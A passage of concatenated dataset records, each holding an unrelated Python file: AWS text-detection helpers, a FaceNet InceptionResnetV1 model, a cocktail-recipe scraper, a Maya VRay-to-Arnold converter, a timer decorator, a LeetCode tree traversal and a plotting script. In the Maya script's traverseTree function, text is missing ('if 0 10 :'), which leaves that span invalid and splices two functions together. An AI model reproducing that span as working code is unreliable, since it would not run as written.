presigned_url\n\ndef textract_analyze_expense(s3BucketName, objectName):\n textract = boto3.client('textract')\n try:\n textractResponse = textract.detect_document_text(\n Document={\n 'S3Object': {\n 'Bucket': s3BucketName,\n 'Name': objectName\n }\n })\n except ClientError as e:\n logging.error(e)\n return None\n return textractResponse\n \ndef rekognition_detect_text(s3BucketName, objectName):\n rekognition = boto3.client('rekognition')\n try:\n rekognitionResponse = rekognition.detect_text(\n Image={\n 'S3Object': {\n 'Bucket': s3BucketName,\n 'Name': objectName\n }\n })\n except ClientError as e:\n logging.error(e)\n return None\n return rekognitionResponse\n","repo_name":"ravina-mestry/receipttracker","sub_path":"receipts/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72849885662","text":"import os\nimport requests\nfrom requests.adapters import HTTPAdapter\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nfrom .utils.download import download_url_to_file\nfrom .dropout import DroupoutV2\n\n\nclass BasicConv2d(nn.Module):\n\n def __init__(self, in_planes, out_planes, kernel_size, stride, padding=0):\n super().__init__()\n self.conv = nn.Conv2d(\n in_planes, out_planes,\n kernel_size=kernel_size, stride=stride,\n padding=padding, bias=False\n ) # verify bias false\n self.bn = nn.BatchNorm2d(\n out_planes,\n eps=0.001, # value found in tensorflow\n momentum=0.1, # default pytorch value\n affine=True\n )\n self.relu = nn.ReLU(inplace=False)\n\n def forward(self, x):\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n return x\n\n\nclass Block35(nn.Module):\n\n def __init__(self, scale=1.0):\n super().__init__()\n\n self.scale = scale\n\n self.branch0 = BasicConv2d(256, 32, kernel_size=1, stride=1)\n\n self.branch1 = nn.Sequential(\n BasicConv2d(256, 32, kernel_size=1, stride=1),\n BasicConv2d(32, 32, kernel_size=3, stride=1, padding=1)\n )\n\n self.branch2 = nn.Sequential(\n BasicConv2d(256, 32, kernel_size=1, stride=1),\n BasicConv2d(32, 32, kernel_size=3, stride=1, padding=1),\n BasicConv2d(32, 32, kernel_size=3, stride=1, padding=1)\n )\n\n self.conv2d = nn.Conv2d(96, 256, kernel_size=1, stride=1)\n self.relu = nn.ReLU(inplace=False)\n\n def forward(self, x):\n x0 = self.branch0(x)\n x1 = self.branch1(x)\n x2 = self.branch2(x)\n out = torch.cat((x0, x1, x2), 1)\n out = self.conv2d(out)\n out = out * self.scale + x\n out = self.relu(out)\n return out\n\n\nclass Block17(nn.Module):\n\n def __init__(self, scale=1.0):\n super().__init__()\n\n self.scale = scale\n\n self.branch0 = BasicConv2d(896, 128, kernel_size=1, stride=1)\n\n self.branch1 = nn.Sequential(\n BasicConv2d(896, 128, kernel_size=1, stride=1),\n BasicConv2d(128, 128, kernel_size=(1,7), stride=1, padding=(0,3)),\n BasicConv2d(128, 128, kernel_size=(7,1), stride=1, padding=(3,0))\n )\n\n self.conv2d = nn.Conv2d(256, 896, kernel_size=1, stride=1)\n self.relu = nn.ReLU(inplace=False)\n\n def forward(self, x):\n x0 = self.branch0(x)\n x1 = self.branch1(x)\n out = torch.cat((x0, x1), 1)\n out = self.conv2d(out)\n out = out * self.scale + x\n out = self.relu(out)\n return out\n\n\nclass Block8(nn.Module):\n\n def __init__(self, scale=1.0, noReLU=False):\n super().__init__()\n\n self.scale = scale\n self.noReLU = noReLU\n\n self.branch0 = BasicConv2d(1792, 192, kernel_size=1, stride=1)\n\n self.branch1 = nn.Sequential(\n BasicConv2d(1792, 192, kernel_size=1, stride=1),\n BasicConv2d(192, 192, kernel_size=(1,3), stride=1, padding=(0,1)),\n BasicConv2d(192, 192, kernel_size=(3,1), stride=1, padding=(1,0))\n )\n\n self.conv2d = nn.Conv2d(384, 1792, kernel_size=1, stride=1)\n if not self.noReLU:\n self.relu = nn.ReLU(inplace=False)\n\n def forward(self, x):\n x0 = self.branch0(x)\n x1 = self.branch1(x)\n out = torch.cat((x0, x1), 1)\n out = self.conv2d(out)\n out = out * self.scale + x\n if not self.noReLU:\n out = self.relu(out)\n return out\n\n\nclass Mixed_6a(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n self.branch0 = BasicConv2d(256, 384, kernel_size=3, stride=2)\n\n self.branch1 = nn.Sequential(\n BasicConv2d(256, 192, kernel_size=1, stride=1),\n BasicConv2d(192, 192, kernel_size=3, stride=1, padding=1),\n BasicConv2d(192, 256, kernel_size=3, stride=2)\n )\n\n self.branch2 = nn.MaxPool2d(3, stride=2)\n\n def forward(self, x):\n x0 = self.branch0(x)\n x1 = self.branch1(x)\n x2 = self.branch2(x)\n out = torch.cat((x0, x1, x2), 1)\n return out\n\n\nclass Mixed_7a(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n self.branch0 = nn.Sequential(\n BasicConv2d(896, 256, kernel_size=1, stride=1),\n BasicConv2d(256, 384, kernel_size=3, stride=2)\n )\n\n self.branch1 = nn.Sequential(\n BasicConv2d(896, 256, kernel_size=1, stride=1),\n BasicConv2d(256, 256, kernel_size=3, stride=2)\n )\n\n self.branch2 = nn.Sequential(\n BasicConv2d(896, 256, kernel_size=1, stride=1),\n BasicConv2d(256, 256, kernel_size=3, stride=1, padding=1),\n BasicConv2d(256, 256, kernel_size=3, stride=2)\n )\n\n self.branch3 = nn.MaxPool2d(3, stride=2)\n\n def forward(self, x):\n x0 = self.branch0(x)\n x1 = self.branch1(x)\n x2 = self.branch2(x)\n x3 = self.branch3(x)\n out = torch.cat((x0, x1, x2, x3), 1)\n return out\n\n\nclass InceptionResnetV1(nn.Module):\n \"\"\"Inception Resnet V1 model with optional loading of pretrained weights.\n\n Model parameters can be loaded based on pretraining on the VGGFace2 or CASIA-Webface\n datasets. Pretrained state_dicts are automatically downloaded on model instantiation if\n requested and cached in the torch cache. Subsequent instantiations use the cache rather than\n redownloading.\n\n Keyword Arguments:\n pretrained {str} -- Optional pretraining dataset. Either 'vggface2' or 'casia-webface'.\n (default: {None})\n classify {bool} -- Whether the model should output classification probabilities or feature\n embeddings. (default: {False})\n num_classes {int} -- Number of output classes. If 'pretrained' is set and num_classes not\n equal to that used for the pretrained model, the final linear layer will be randomly\n initialized. (default: {None})\n dropout_prob {float} -- Dropout probability. (default: {0.6})\n \"\"\"\n def __init__(self, pretrained=None, classify=False, num_classes=None, dropout_prob=0.6, device=None):\n super().__init__()\n\n # Set simple attributes\n self.pretrained = pretrained\n self.classify = classify\n self.num_classes = num_classes\n\n if pretrained == 'vggface2':\n tmp_classes = 8631\n elif pretrained == 'casia-webface':\n tmp_classes = 10575\n elif pretrained is None and self.classify and self.num_classes is None:\n raise Exception('If \"pretrained\" is not specified and \"classify\" is True, \"num_classes\" must be specified')\n\n\n # Define layers\n self.conv2d_1a = BasicConv2d(3, 32, kernel_size=3, stride=2)\n self.conv2d_2a = BasicConv2d(32, 32, kernel_size=3, stride=1)\n self.conv2d_2b = BasicConv2d(32, 64, kernel_size=3, stride=1, padding=1)\n self.maxpool_3a = nn.MaxPool2d(3, stride=2)\n self.conv2d_3b = BasicConv2d(64, 80, kernel_size=1, stride=1)\n self.conv2d_4a = BasicConv2d(80, 192, kernel_size=3, stride=1)\n self.conv2d_4b = BasicConv2d(192, 256, kernel_size=3, stride=2)\n self.repeat_1 = nn.Sequential(\n Block35(scale=0.17),\n Block35(scale=0.17),\n Block35(scale=0.17),\n Block35(scale=0.17),\n Block35(scale=0.17),\n )\n self.mixed_6a = Mixed_6a()\n self.repeat_2 = nn.Sequential(\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n Block17(scale=0.10),\n )\n self.mixed_7a = Mixed_7a()\n self.repeat_3 = nn.Sequential(\n Block8(scale=0.20),\n Block8(scale=0.20),\n Block8(scale=0.20),\n Block8(scale=0.20),\n Block8(scale=0.20),\n )\n self.block8 = Block8(noReLU=True)\n self.avgpool_1a = nn.AdaptiveAvgPool2d(1)\n self.dropout = DroupoutV2(dropout_prob)\n self.last_linear = nn.Linear(1792, 512, bias=False)\n self.last_bn = nn.BatchNorm1d(512, eps=0.001, momentum=0.1, affine=True)\n\n if pretrained is not None:\n self.logits = nn.Linear(512, tmp_classes)\n load_weights(self, pretrained)\n\n if self.classify and self.num_classes is not None:\n self.logits = nn.Linear(512, self.num_classes)\n\n self.device = torch.device('cpu')\n if device is not None:\n self.device = device\n self.to(device)\n\n def forward(self, x):\n \"\"\"Calculate embeddings or logits given a batch of input image tensors.\n\n Arguments:\n x {torch.tensor} -- Batch of image tensors representing faces.\n\n Returns:\n torch.tensor -- Batch of embedding vectors or multinomial logits.\n \"\"\"\n x = self.conv2d_1a(x)\n x = self.conv2d_2a(x)\n x = self.conv2d_2b(x)\n x = self.maxpool_3a(x)\n x = self.conv2d_3b(x)\n x = self.conv2d_4a(x)\n x = self.conv2d_4b(x)\n x = self.repeat_1(x)\n x = self.mixed_6a(x)\n x = self.repeat_2(x)\n x = self.mixed_7a(x)\n x = self.repeat_3(x)\n x = self.block8(x)\n x = self.avgpool_1a(x)\n x = self.dropout(x)\n x = self.last_linear(x.view(x.shape[0], -1))\n x = self.last_bn(x)\n if self.classify:\n x = self.logits(x)\n else:\n x = F.normalize(x, p=2, dim=1)\n return x\n\n\ndef load_weights(mdl, name):\n \"\"\"Download pretrained state_dict and load into model.\n\n Arguments:\n mdl {torch.nn.Module} -- Pytorch model.\n name {str} -- Name of dataset that was used to generate pretrained state_dict.\n\n Raises:\n ValueError: If 'pretrained' not equal to 'vggface2' or 'casia-webface'.\n \"\"\"\n if name == 'vggface2':\n path = 'https://github.com/timesler/facenet-pytorch/releases/download/v2.2.9/20180402-114759-vggface2.pt'\n elif name == 'casia-webface':\n path = 'https://github.com/timesler/facenet-pytorch/releases/download/v2.2.9/20180408-102900-casia-webface.pt'\n else:\n raise ValueError('Pretrained models only exist for \"vggface2\" and \"casia-webface\"')\n\n model_dir = os.path.join(get_torch_home(), 'checkpoints')\n os.makedirs(model_dir, exist_ok=True)\n\n cached_file = os.path.join(model_dir, os.path.basename(path))\n if not os.path.exists(cached_file):\n download_url_to_file(path, cached_file)\n\n state_dict = torch.load(cached_file)\n mdl.load_state_dict(state_dict)\n\n\ndef get_torch_home():\n torch_home = os.path.expanduser(\n os.getenv(\n 'TORCH_HOME',\n os.path.join(os.getenv('XDG_CACHE_HOME', '~/.cache'), 'torch')\n )\n )\n return torch_home\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/built-in/cv/classification/FaceNet_for_PyTorch/models/inception_resnet_v1.py","file_name":"inception_resnet_v1.py","file_ext":"py","file_size_in_byte":11086,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"11507063193","text":"from six.moves import urllib\nimport json\nfrom bs4 import BeautifulSoup\nimport traceback\nimport os.path\nfrom src.crawling.get_drinksurls_1 import main as get_drinkurls\nfrom pathlib import Path\n# get_drink_2.py\n# Using the Urls and Saving all Drink-Data in a txt File\n# Ingredients get partially sorted\n\n\ndef main():\n print(\"Gathering Raw Drink Data\")\n if not os.path.isfile(Path(\"../Savefiles/drinkurls.txt\")):\n print(\"Could not find any Drink Urls. Crawling the Internet to get some.\")\n get_drinkurls()\n index = 0\n drinklist = []\n drinkurls = []\n with open(Path(\"../Savefiles/drinkurls.txt\"), \"r\") as file:\n for line in file.readlines():\n drinkurls.append(line.rstrip('\\n'))\n try:\n for url in drinkurls:\n index = index + 1\n print(\"Loading Drink Nr. %d\" % index)\n loaddrink(url, drinklist)\n\n except Exception:\n print(\"Error in Loading. Saving Index\")\n traceback.print_exc()\n savejson(drinklist, index)\n return None\n savejson(drinklist)\n print(\"Loaded and Saved %d Drinks\" % index)\n return generatejson(drinklist)\n\n\ndef generatejson(drinklist):\n return json.dumps({\"items\": drinklist}, indent=4, sort_keys=True)\n\n\ndef savejson(drinklist, index=None):\n if index is None:\n Saveindex = False\n else:\n Saveindex = True\n with open(Path(\"../Savefiles/drinks_raw_full.txt\"), \"w+\") as f:\n f.write(generatejson(drinklist))\n if Saveindex:\n f.write(\"\\n\")\n f.write(str(index))\n\n\ndef loaddrink(url, drinklist):\n raw_ingredients = (\"gin\", \"rum\", \"vodka\", \"tequila\", \"tonic\", \"coke\", \"orange juice\", \"grenadine\", \"mate\", \"cola\")\n ingredients = []\n try:\n name = url.replace(\"https://www.socialandcocktail.co.uk/cocktails/\", \"\").replace(\"/\", \"\")\n page = urllib.request.urlopen(url)\n html = BeautifulSoup(page, \"html.parser\")\n itemlist = html.find(id=\"content-to-load\").p\n full_body = itemlist.string\n for ingredient in itemlist.string.split(\",\"):\n if \"ml\" not in ingredient:\n for ing in raw_ingredients:\n if ing in ingredient.lower():\n ingredients.append({\"ing_ammount\": \"TBD\", \"ing_name\": ing, \"Purity\": 2, \"body\": ingredient})\n continue\n ingredients.append({\"body\": ingredient, \"Purity\": 3})\n continue\n split = ingredient.split(\"ml \")\n ingredients.append({\"ing_ammount\": split[0] + \"ml\", \"ing_name\": split[1], \"Purity\": 1})\n drinklist.append({\"drink_name\": name, \"ingredients\": ingredients, \"full_body\": full_body})\n except:\n traceback.print_exc()\n print(\"Error in loaddrink; URL: %s\" % url)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"H3c702/Hector9000RecipeCrawler","sub_path":"src/crawling/get_drink_2.py","file_name":"get_drink_2.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8982215793","text":"from maya import cmds\r\nfrom maya import mel\r\n\r\nunsupported = {'reflInterpolation':False,\r\n #'reflMapMinRate',\r\n #'reflMapMaxRate',\r\n #'reflMapColorThreshold',\r\n #'reflMapNormalThreshold',\r\n #'reflMapSamples',\r\n 'reflectOnBackSide':False,\r\n 'softenEdge':0.0,\r\n 'fixDarkEdges':False,\r\n 'reflectionDimDistanceOn':False,\r\n #'reflectionDimDistance',\r\n #'reflectionDimFallOff'\r\n 'refrDispersionOn':False,\r\n #'refrDispersionAbbe',\r\n 'refrInterpolation':False,\r\n #'refrMapMinRate',\r\n #'refrMapMaxRate',\r\n #'refrMapColorThreshold',\r\n #'refrMapNormalThreshold',\r\n #'refrMapSamples'\r\n 'traceRefractions':True,\r\n 'affectShadows':False,\r\n 'affectAlpha':0,\r\n 'fogMult':1.0,\r\n 'fogBias':0.0,\r\n 'sssOn':False,\r\n #'translucencyColor',\r\n #'thickness',\r\n #'scatterCoeff',\r\n #'scatterDir',\r\n #'scatterLevels',\r\n #'sssEnvironment',\r\n }\r\n\r\nwarnattr = {\r\n 'hilightGlossinessLock':True,\r\n 'anisotropy':0,\r\n 'fogColor':[(1,1,1)],\r\n 'bumpMapType':0\r\n }\r\n \r\nattrmap = {\r\n # basic\r\n 'color':'diffuseColor',\r\n 'diffuseColorAmount':'diffuseWeight',\r\n 'transparency':'opacity',\r\n 'roughnessAmount':'diffuseRoughness',\r\n 'illumColor':'emissionColor',\r\n \r\n # reflection\r\n 'reflectionColor':'specularColorP',\r\n 'reflectionColorAmount':'specularWeightP',\r\n 'reflectionExitColor':'reflectionExitColor',\r\n 'useFresnel':'specularFresnelP',\r\n 'fresnelIOR':'specularFresnelIorP',\r\n \r\n # refraction\r\n 'refractionColor':'refractionColor',\r\n 'refractionColorAmount':'refractionWeight',\r\n 'refractionGlossiness':'refractionRoughness',\r\n 'refractionIOR':'refractionIor',\r\n 'fogColor':'refractionTransmittance'\r\n }\r\n \r\nclass v2aConverter(object) :\r\n def __init__(self, vrmtl) :\r\n std = vrmtl.replace('_ss','')+'Arnold_ss'\r\n print('-'*50)\r\n print('[%s] --> [%s]' % (vrmtl,std))\r\n std = cmds.shadingNode('mzStandardShader', asShader=True, n=std)\r\n self.src = vrmtl\r\n self.dst = std\r\n def checkUnsupported(self) :\r\n global unsupported\r\n for u in unsupported :\r\n if not cmds.getAttr(self.src+'.'+u) == unsupported[u] :\r\n print('--[ERROR %s] unsupported attr used.' % u)\r\n def checkWarnings(self) :\r\n global warnattr\r\n for w in warnattr :\r\n if not cmds.getAttr(self.src+'.'+w) == warnattr[w] :\r\n print('--[WARNING %s] might not be converted well.' % w)\r\n def matchAttribute(self, srcattr, dstattr) :\r\n sattr = self.src+'.'+srcattr\r\n dattr = self.dst+'.'+dstattr\r\n conn = cmds.listConnections(sattr, p=True, s=True)\r\n if conn == None or len(conn) == 0 :\r\n if cmds.getAttr(sattr, type=True) == 'float3' :\r\n val = cmds.getAttr(sattr)[0]\r\n vals = str(val)[1:-1]\r\n cmd = 'cmds.setAttr(\"%s\", %s, type=\"float3\")'% (dattr, vals)\r\n eval(cmd)\r\n else :\r\n cmds.setAttr(dattr, cmds.getAttr(sattr))\r\n else :\r\n cmds.connectAttr(conn[0], dattr)\r\n def doConvert(self) :\r\n global attrmap\r\n # simple one-to-one matching\r\n for a in attrmap :\r\n self.matchAttribute(a, attrmap[a])\r\n \r\n # overall overrides\r\n cmds.setAttr(self.dst+'.specularFresnelTypeP', 0)\r\n cmds.setAttr(self.dst+'.reflectionFresnelType', 0)\r\n \r\n # basic parater overrides\r\n if cmds.getAttr(self.src+'.illumColor')[0] != (0,0,0) or cmds.listConnections(self.src+'.illumColor') != None :\r\n cmds.setAttr(self.dst+'.emissionWeight', 1.0)\r\n \r\n # reflection overrides\r\n # anisotropy\r\n aniso = cmds.getAttr(self.src+'.anisotropy')\r\n if aniso != 0.0 :\r\n aniso = aniso*0.5 + 0.5\r\n cmds.setAttr(self.dst+'.specularAnisotropyP', aniso)\r\n conn = cmds.listConnections(self.src+'.anisotropyUVWGen')\r\n if conn == None or len(conn) == 0 :\r\n pass\r\n else :\r\n self.matchAttribute('anisotropyRotation', 'specularRotationP')\r\n # specular roughness\r\n rmin = 0.1\r\n roffset = -0.1\r\n anisogain = 4.0\r\n rattr = 'reflectionGlossiness'\r\n if not cmds.getAttr(self.src+'.hilightGlossinessLock') :\r\n rattr = 'hilightGlossiness'\r\n rval = cmds.getAttr(self.src+'.'+rattr)\r\n conn = cmds.listConnections(self.src+'.'+rattr)\r\n if conn == None or len(conn) == 0 :\r\n # when uniform value is used for specular roughness\r\n rgh = 1.0-rval+roffset\r\n if cmds.getAttr(self.src+'.anisotropy') != 0.0 :\r\n rgh *= anisogain\r\n rgh = min(1.0, max(0.1, rgh))\r\n print('SpecularRoughness original: %f after: %f' % (rval, rgh))\r\n cmds.setAttr(self.dst+'.specularRoughnessP', rgh)\r\n else:\r\n # when node is connected to specular roughness\r\n gnode = cmds.shadingNode('gammaCorrect', asUtility=True)\r\n cmds.connectAttr(conn[0]+'.outColor', gnode+'.value')\r\n cmds.setAttr(gnode+'.gamma', 2.2, 2.2, 2.2, type='float3')\r\n rnode = cmds.shadingNode('reverse', asUtility=True)\r\n cmds.connectAttr(gnode+'.outValue', rnode+'.input')\r\n pnode = cmds.shadingNode('plusMinusAverage', asUtility=True)\r\n cmds.connectAttr(rnode+'.output', pnode+'.input3D[0]')\r\n cmds.setAttr(pnode+'.input3D[1]', roffset, roffset, roffset, type='float3')\r\n mnode = cmds.shadingNode('multiplyDivide', asUtility=True)\r\n cmds.connectAttr(pnode+'.output3D', mnode+'.input1')\r\n rgh = 1.0\r\n if cmds.getAttr(self.src+'.anisotropy') != 0.0 :\r\n rgh = anisogain\r\n cmds.setAttr(mnode+'.input2', rgh, rgh, rgh, type='float3')\r\n cnode = cmds.shadingNode('clamp', asUtility=True)\r\n cmds.connectAttr(mnode+'.output', cnode+'.input')\r\n cmds.setAttr(cnode+'.min', rmin, rmin, rmin, type='float3')\r\n cmds.setAttr(cnode+'.max', 1, 1, 1, type='float3')\r\n cmds.connectAttr(cnode+'.outputR', self.dst+'.specularRoughnessP')\r\n # match reflection ior with refraction ior\r\n if cmds.getAttr(self.src+'.lockFresnelIORToRefractionIOR') :\r\n self.matchAttribute('refractionIOR', 'specularFresnelIorP')\r\n # trace reflection\r\n if cmds.getAttr(self.src+'.traceReflections') :\r\n self.matchAttribute('reflectionColor', 'reflectionColor')\r\n #self.matchAttribute('reflectionColorAmount', 'reflectionWeight')\r\n self.matchAttribute('useFresnel', 'reflectionFresnel')\r\n self.matchAttribute('fresnelIOR', 'reflectionFresnelIor')\r\n \r\n # refraction overrides\r\n if cmds.getAttr(self.src+'.refractionExitColorOn') :\r\n self.matchAttribute('refractionExitColor', 'refractionExitColor')\r\n \r\n # bump map overrides\r\n conn = cmds.listConnections(self.src+'.bumpMap')\r\n if conn == None or len(conn) == 0 :\r\n pass\r\n else :\r\n gnode = cmds.shadingNode('gammaCorrect', asUtility=True)\r\n cmds.connectAttr(conn[0]+'.outColor', gnode+'.value')\r\n cmds.setAttr(gnode+'.gamma', 2.2, 2.2, 2.2, type='float3')\r\n b2d = cmds.shadingNode('bump2d', asUtility=True)\r\n cmds.connectAttr(gnode+'.outValueX', b2d+'.bumpValue')\r\n cmds.setAttr(b2d+'.bumpDepth', cmds.getAttr(self.src+'.bumpMult'))\r\n cmds.connectAttr(b2d+'.outNormal', self.dst+'.normalCamera')\r\n\r\n def switchAssignment(self) :\r\n conn = cmds.listConnections(self.src+'.outColor', type='shadingEngine')\r\n if conn == None or len(conn) == 0 :\r\n return\r\n else :\r\n cmds.disconnectAttr(self.src+'.outColor', conn[0]+'.surfaceShader')\r\n cmds.connectAttr(self.dst+'.outColor', conn[0]+'.surfaceShader')\r\n \r\nclass vl2alConverter(object) :\r\n def __init__(self, vl) :\r\n self.src = vl\r\n tra = cmds.listRelatives(vl, p=True)[0]\r\n self.src = tra\r\n self.dst = cmds.shadingNode('areaLight', asLight=True)\r\n self.dst = cmds.rename(self.dst, tra+'Arnold')\r\n print('-'*50)\r\n print('[%s] --> [%s]' % (self.src,self.dst))\r\n def doConvert(self) :\r\n lc = cmds.getAttr(self.src+'.lightColor')[0]\r\n if cmds.getAttr(self.src+'.useRectTex') :\r\n bl = cmds.shadingNode('blendColors', asUtility=True)\r\n cmds.setAttr(bl+'.blender', 1.0)\r\n cmds.setAttr(bl+'.color1', lc[0], lc[1], lc[2], type='float3')\r\n mul = cmds.shadingNode('multiplyDivide', asUtility=True)\r\n cmds.connectAttr(bl+'.output', mul+'.input1')\r\n rectex = cmds.listConnections(self.src+'.rectTex')[0]\r\n cmds.connectAttr(rectex+'.outColor', mul+'.input2')\r\n cmds.connectAttr(mul+'.output', self.dst+'.color')\r\n else :\r\n cmds.setAttr(self.dst+'.color', lc[0], lc[1], lc[2], type='float3')\r\n cmds.setAttr(self.dst+'.intensity', cmds.getAttr(self.src+'.intensityMult'))\r\n tr = cmds.getAttr(self.src+'.translate')[0]\r\n rot = cmds.getAttr(self.src+'.rotate')[0]\r\n sc = cmds.getAttr(self.src+'.scale')[0]\r\n cmds.setAttr(self.dst+'.translate', tr[0], tr[1], tr[2], type='float3')\r\n cmds.setAttr(self.dst+'.rotate', rot[0], rot[1], rot[2], type='float3')\r\n cmds.setAttr(self.dst+'.scale', sc[0], sc[1], sc[2], type='float3')\r\n\r\ndef v2a() :\r\n selected = cmds.ls(sl=True, type='VRayMtl')\r\n targets = []\r\n if selected == None or len(selected) == 0 :\r\n print('Converting ALL VRayMtls to mzStandardShader')\r\n targets = cmds.ls(type='VRayMtl')\r\n print(targets)\r\n else :\r\n targets = selected\r\n for t in targets :\r\n print('%d/%d' % (targets.index(t)+1, len(targets)))\r\n converter = v2aConverter(t)\r\n converter.checkUnsupported()\r\n converter.checkWarnings()\r\n converter.doConvert()\r\n converter.switchAssignment()\r\n pass\r\n print('-'*50)\r\n print('Conversion Done.')\r\n\r\ndef vl2al() :\r\n selected = cmds.ls(sl=True, type='VRayLightRectShape')\r\n targets = []\r\n if selected == None or len(selected) == 0 :\r\n print('Converting All VRayLightRectShape')\r\n targets = cmds.ls(type='VRayLightRectShape')\r\n else :\r\n targets = selected\r\n for t in targets :\r\n converter = vl2alConverter(t)\r\n converter.doConvert()\r\n\r\n\r\ndef exrFileGamma(f) :\r\n path = cmds.getAttr(f+'.fileTextureName')\r\n if path.endswith('.exr') :\r\n if cmds.attributeQuery('vrayFileGammaEnable', n=f, ex=True) and cmds.getAttr(f+'.vrayFileGammaEnable') :\r\n if (cmds.getAttr(f+'.vrayFileColorSpace') == 1 and int(cmds.getAttr(f+'.vrayFileGammaValue')*10) == 22) or cmds.getAttr(f+'.vrayFileColorSpace') == 2:\r\n print( '[%s] %s: reverse gamma applied' % (f, path))\r\n return True\r\n return False\r\n\r\ndef convertToLDR(f) :\r\n import os\r\n path = cmds.getAttr(f+'.fileTextureName')\r\n if not os.path.isfile(path) :\r\n print('[ERROR] missing: %s' % path )\r\n return False\r\n os.system('\"Z:/ve/team/rnd/tools/modeling/houdini/11.1.118/windows/x64/bin/iconvert.exe\" %s %s' % (path,path.replace('.exr','.tga')))\r\n\r\ndef checkExrFileGamma() :\r\n files = cmds.ls(type='file')\r\n out = []\r\n for f in files :\r\n if exrFileGamma(f) :\r\n res = convertToLDR(f)\r\n if not res :\r\n out.append(f)\r\n\r\ndef traverseTree(node) :\r\n avoid = ['mesh','locator','place2dTexture', 'place3dTexture', 'defaultShaderList', 'lightLinker', 'materialInfo', 'shadingEngine']\r\n attrs = cmds.listAttr(node, r=True, c=True)\r\n for a in attrs :\r\n try :\r\n conn = cmds.listConnections(node+'.'+a, s=True, d=False)\r\n except :\r\n continue\r\n if conn != None :\r\n for c in conn :\r\n if not cmds.objectType(c) in avoid and c != node:\r\n #print(c)\r\n traverseTree(c)\r\n else :\r\n if 'VRay' in cmds.objectType(node) :\r\n print('skipping... %s' % node)\r\n continue\r\n if cmds.attributeQuery(a, n=node, usedAsColor=True) :\r\n orig = cmds.getAttr(node+'.'+a)[0]\r\n if 0 10 :\r\n cmds.setAttr(v+'.fresnelIOR',10)\r\n print(v)\r\n\r\ndef vsub() :\r\n\tmesh = cmds.ls(type='mesh')\r\n\tfor m in mesh :\r\n\t\tif cmds.attributeQuery('vraySubdivEnable', n=m, ex=True) and cmds.getAttr(m+'.vraySubdivEnable') :\r\n\t\t\tcmds.setAttr(m+'.aiSubdivIterations', 2)\r\n\t\t\tcmds.setAttr(m+'.aiSubdivType', 1)\r\n\t\t\tprint(m)\r\n\r\ndef useTx() :\r\n\timport os\r\n\tfiles = cmds.ls(type='file')\r\n\ttargets = ['.tif', '.tga']\r\n\tfor f in files :\r\n\t\tpath = cmds.getAttr(f+'.fileTextureName')\r\n\t\text = os.path.splitext(path)[1]\r\n\t\tif ext in targets :\r\n\t\t\tpath = path.replace(ext, '.tx')\r\n\t\t\tif os.path.isfile(path) :\r\n\t\t\t\tprint('[%s] ok' % f)\r\n\t\t\t\tcmds.setAttr(f+'.fileTextureName', path, type='string')\r\n\t\t\telse :\r\n\t\t\t\tprint('[%s] missing tx: %s' % (f,path) )","repo_name":"aratakawa/pop","sub_path":"vrayUtils.py","file_name":"vrayUtils.py","file_ext":"py","file_size_in_byte":15167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3984004895","text":"#!/usr/bin/env python\nimport time\nfrom functools import wraps\n\ndef timer(function):\n @wraps(function)\n def function_timer(*args, **kwargs):\n t0 = time.time()\n result = function(*args, **kwargs)\n t1 = time.time()\n print('total time: {0}'.format(str(t1-t0)))\n return result\n return function_timer\n\n@timer\ndef factorial(number):\n product = 1 \n for i in range(number):\n product = product * (i+1)\n return product\n\nif __name__ == \"__main__\":\n factorial(200)\n","repo_name":"bbotte/bbotte.github.io","sub_path":"2015year/iterative.py","file_name":"iterative.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"7"} +{"seq_id":"73911029342","text":"from collections import deque\nfrom typing import List\n\n\nclass TreeNode:\n # Provided by Leetcode\n ...\n\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n result = []\n\n queue = deque([(root, 0)])\n while queue:\n node, depth = queue.popleft()\n if node is None:\n continue\n if len(result) == depth:\n result.append([])\n result[depth].append(node.val)\n queue.append((node.left, depth + 1))\n queue.append((node.right, depth + 1))\n return result\n","repo_name":"cs-cordero/interview-prep","sub_path":"leetcode/0102_binary_tree_level_order_traversal.py","file_name":"0102_binary_tree_level_order_traversal.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"38927085920","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport pickle\r\n\r\ndef save_data(X,y,filename):\r\n f = open(filename, 'wb')\r\n pickle.dump(X,f)\r\n pickle.dump(y,f)\r\n f.close()\r\ndef graph_function_subplots(num_functions, X, y_functions, y_data, titles):\r\n fig = plt.figure()\r\n plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=0.5)\r\n\r\n for i in range(0,num_functions):\r\n ax = fig.add_subplot(3,2,i+1)\r\n\r\n ax.plot(X,y_functions[i])\r\n ax.plot(X,y_data[i], \"*\")\r\n ax.set_title(titles[i])\r\n\r\n plt.show()\r\n\r\ndef graph_all_functions(X,y, titles):\r\n fig = plt.figure()\r\n for y in convex_functions:\r\n plt.plot(X,y)\r\n \r\n plt.legend(titles)\r\n plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n # parameters\r\n num_functions = 6\r\n min_val = -5 # function boundaries\r\n max_val = 5\r\n mu = 0 # gaussian distribution params\r\n sigma = 4\r\n np.random.seed(1) # set seed\r\n\r\n X = np.linspace(min_val,max_val,num=100)\r\n\r\n 